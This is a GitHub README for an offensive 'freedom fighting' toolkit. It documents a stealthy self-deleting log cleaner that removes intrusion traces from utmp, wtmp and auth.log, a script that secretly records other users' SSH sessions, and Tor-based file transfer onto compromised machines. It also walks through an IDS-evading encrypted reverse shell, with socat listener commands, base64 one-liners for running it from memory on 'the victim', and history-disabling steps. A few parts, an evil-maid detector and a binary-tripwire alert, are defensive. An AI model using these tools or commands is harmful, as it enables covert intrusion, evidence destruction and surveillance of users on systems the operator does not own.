Skip to content
Go to file


Failed to load latest commit information.
Latest commit message
Commit time

Freedom Fighting scripts

This repository contains scripts which may come in handy during your freedom fighting activities. It will be updated occasionally, when I find myself in need of something I can't find online. Everything here is distributed under the terms of the GPL v3 License.

Contributions and pull requests are very welcome.

Table of Contents

A log cleaner which removes incriminating entries in:

  • /var/run/utmp, /var/log/wtmp, /var/log/btmp (controls the output of the who, w and last commands)
  • /var/log/lastlog (controls the output of the lastlog command)
  • /var/**/*.log (.log.1, .log.2.gz, etc. included)
  • Any additional file or folder designated by the user

Entries are deleted based on an IP address and/or associated hostname.

Special care is taken to avoid breaking file descriptors while tampering with logs. This means logs continue to be written to after they've been tampered with, making the cleanup a lot less conspicuous. All the work takes place in a tmpfs drive and any files created are wiped securely.

Warning: The script has only been tested on Linux and will not be able to clean UTMP entries on other Unix flavors.


usage: [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
                    [--verbose] [--check]
                    [log_files [log_files ...]]

   Stealthy log file cleaner.

   positional arguments:
     log_files             Specify any log files to clean in addition to

   optional arguments:
     -h, --help            show this help message and exit
     --user USER, -u USER  The username to remove from the connexion logs.
     --ip IP, -i IP        The IP address to remove from the logs.
     --hostname HOSTNAME   The hostname of the user to wipe. Defaults to the rDNS
                           of the IP.
     --regexp REGEXP, -r REGEXP
                           A regular expression to select log lines to delete

     --verbose, -v         Print debug messages.
     --check, -c           If present, the user will be asked to confirm each
                           deletion from the logs.
     --daemonize, -d       Start in the background and delete logs when the
                           current session terminates. Implies --self-delete.
     --self-delete, -s     Automatically delete the script after its execution.

By default, if no arguments are given, the script will try to determine the IP address to scrub based on the SSH_CONNECTION environment variable. Any entry matching the reverse DNS of that IP will be removed as well.

Basic example:

./ --user root --ip /etc/app/logs/access.log --check

...will remove all entries for the user root where the IP address is or the hostame is The user will also be prompted before deleting each record because of the --check option. Finally, the file /etc/app/logs/access.log will be processed in addition to all the default ones.

If folders are given as positional arguments (/etc/app/logs/ for instance), the script will recursively crawl them and clean any file with the .log extension (*.log.1, *.log.2.gz, etc. included).

Regular expressions

You may want to remove arbitrary lines from the log file as well. To do so, use the --regexp option. For example, the following command line will look for all POST requests to PHP files from the specified IP:

./ --ip --regexp "POST /.*?\.php"

Daemonizing the script

./ --daemonize

Assuming this is run from an SSH connexion, this command will delete all logs pertaining to the current user's activity with the detected IP address and hostname right after the connexion is closed. This script will subsequently automatically delete itself. Please bear in mind that you won't have any opportunity to receive error messages from the application. You are encouraged to try deleting the logs once before spawning the demon to make sure that the arguments you specified are correct. If you are in a shell with no TTY, the script will not be able to detect when the session ends. You will be notified that the logs will be deleted in 60 seconds, and that you should log out before then (or risk creating more entries after the script has run).

Sample output:

root@proxy:~# ./
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX -
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!


This script is provided without any guarantees. Don't blame me it doesn't wipe all traces of something you shouldn't have done in the first place.

A portable and secure file sharing script. While freedom fighting, it is generally not possible to scp files into compromised machines. Alternate ways to upload files are needed, but most sharing services are either too restrictive or do not provide a way to retrieve files easily from the command line. Security considerations may also prevent people from uploading sensitive files to cloud providers for fear that they will keep a copy of it forever.

This small and portable bash script relies on to solve that problem. It...

  • Encrypts files before uploading them (symmetric AES-256-CBC).
  • Automatically uses torify if it is present on the system for increased anonimity.

The only dependencies needed are openssl and either curl or wget.


root@proxy:~# ./ ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./ -r file_to_share "My_Secure_Encryption_Key!"
root@proxy:~# ./ -r file_to_share "My_Secure_Encryption_Key!"
File retrieved successfully!

Additional arguments during the upload allow you to control the maximum number of downloads allowed for the file (-m) and how many days will keep it (-d). The default value for both these options is 1.

Warning: Do not use spaces in the encryption key, or only the first word of your passphrase will be taken into account. This is due to the way getopts handles arguments (I think). Pull requests are welcome if anyone is interested in fixing this.

AutoJack is a short script leveraging EmptyMonkey's shelljack to log the terminal of any user connecting through SSH. It watches auth.log for successful connections, figures out the PID of the user's bash process,and leaves the rest to shelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

usage: [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
                  [--external] [--subdomains] [-c COOKIE]
                  [--exclude-regexp EXCLUDE_REGEXP]
                  [--show-regexp SHOW_REGEXP] [--verbose]

Map a website by recursively grabbing all its URLs.

optional arguments:
  -h, --help            show this help message and exit
  --max-depth MAX_DEPTH, -m MAX_DEPTH
                        The maximum depth to crawl (default is 3).
  --threads THREADS, -t THREADS
                        The number of threads to use (default is 10).
  --url URL, -u URL     The page to start from.
  --external, -e        Follow external links (default is false).
  --subdomains, -d      Include subdomains in the scope (default is false).
  -c COOKIE, --cookie COOKIE
                        Add a cookies to the request. May be specified
                        multiple times.Example: -c "user=admin".
  --exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
                        A regular expression matching URLs to ignore. The
                        givenexpression doesn't need to match the whole URL,
                        only a partof it.
  --show-regexp SHOW_REGEXP, -s SHOW_REGEXP
                        A regular expression filtering displayed results. The
                        given expression is searched inside the results, it
                        doesn't have tomatch the whole URL. Example: \.php$
  --no-certificate-check, -n
                        Disables the verification of SSL certificates.
  --output-file OUTPUT_FILE, -o OUTPUT_FILE
                        The file into which the obtained URLs should be
  --verbose, -v         Be more verbose. Can be specified multiple times.

Here is the sample output for a small website:

./ -u
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered: (GET) (GET) (GET) (POST) (GET) (GET) (GET) (GET) (GET) (GET) (GET) (GET) (GET) (GET) (GET) (GET) (POST)

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

./ -u --exclude-regexp "/report/"
   [*] Started crawling at depth 1.
   [*] Started crawling at depth 2...
   [*] Started crawling at depth 3.
   [*] URLs discovered: (GET) (GET) (POST) (POST) (GET)

Note that the matching URLs will not be crawled. This is particularly useful when the script gets lost in deep comment pages or repetitive content. Alternately, you may only be interested in PHP scripts: ./ --show-regexp "\.php$".

Crawl parameters

By default, the crawler only goes 3 levels deep. This is something you can control with the --max-depth option.

Another consideration is whether URLs pointing to external domains should be followed. By default, the script doesn't, but you can enable this by setting the --external switch. If you're not interested in random external domains but still want to extend the crawl to subdomains, you can set the --subdomains switch:

./ -u --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered: (GET) (GET) (GET) (GET) (GET) (GET) (GET)

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh is an encrypted reverse shell written in pure Python. Ever been on a box with no standard utilities or compilation tools, and no easy way to upload binaries? Are you afraid than an IDS will notice an outbound shell? Accidentally closed your netcat listener because you pressed ^C? Suffer no more.

ersh offers the following features:

  • SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
  • Fully featured TTY.
  • Optionnaly file-less.
  • No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.


This script needs to be edited before it works! Look for this marker near the beginning:


The HOST and PORT are self-explanatory, but you may need additional help for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so you can just use the following one-liners:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/" -keyout client.key -out client.crt

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

  • client_key should contain the contents of client.key.
  • client_crt should contain the contents of client.crt.
  • server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0

Running from memory

You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on the victim:

python - <<'EOF'
[paste script contents here]

If you're trying to launch from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

root@attacker:~/freedomfighting# gzip -c | base64

weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python

Sample output

On the receiver machine:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0

On the victim:

root@victim:~# python
[*] Connection established!

And on the receiver again:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).


You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

  • Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
  • #> systemctl enable boot_check.service

Install dependencies:

  • #> apt install smartmontools dialog

Run the script once so it initializes:

  • #> ./

If a confirmation message appears, you're good to go.


If you want to make sure that the script works, make sure you do the following:

  • Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
  • If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
  • Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine:

ln -s path/to/ /usr/local/bin/id

...and all future calls to id should be routed through this script. This is obviously not a foolproof way to detect hackers on your systems, but it should nonetheless catch the most careless intruders.


Some programs and scripts on your system may regularly invoke some of the binaries you wish to protect. In that case, you can edit a variable called CALLER_WHITELIST placed at the beginning of the script. Put the name of those processes in the list to disable alerts from them (regular expressions are accepted).

The current notification method implemented in this script is a text message sent thtough Signal with AsamK's signal-cli. You'll need to install this project separately if you want to use it, or, more likely, replace the notify_callback function placed on top of with whatever suits your needs.



These scripts are 100% free. I do like Bitcoins though, so if you want to send some my way, here's an address you can use: 1PUeq8FfyqvyJqA1Eb23qHrnkdPknt4aKF Feel free to drop me a line if you donate to the project, so I can thank you personally!



A collection of scripts which may come in handy during your freedom fighting activities.



No releases published
You can’t perform that action at this time.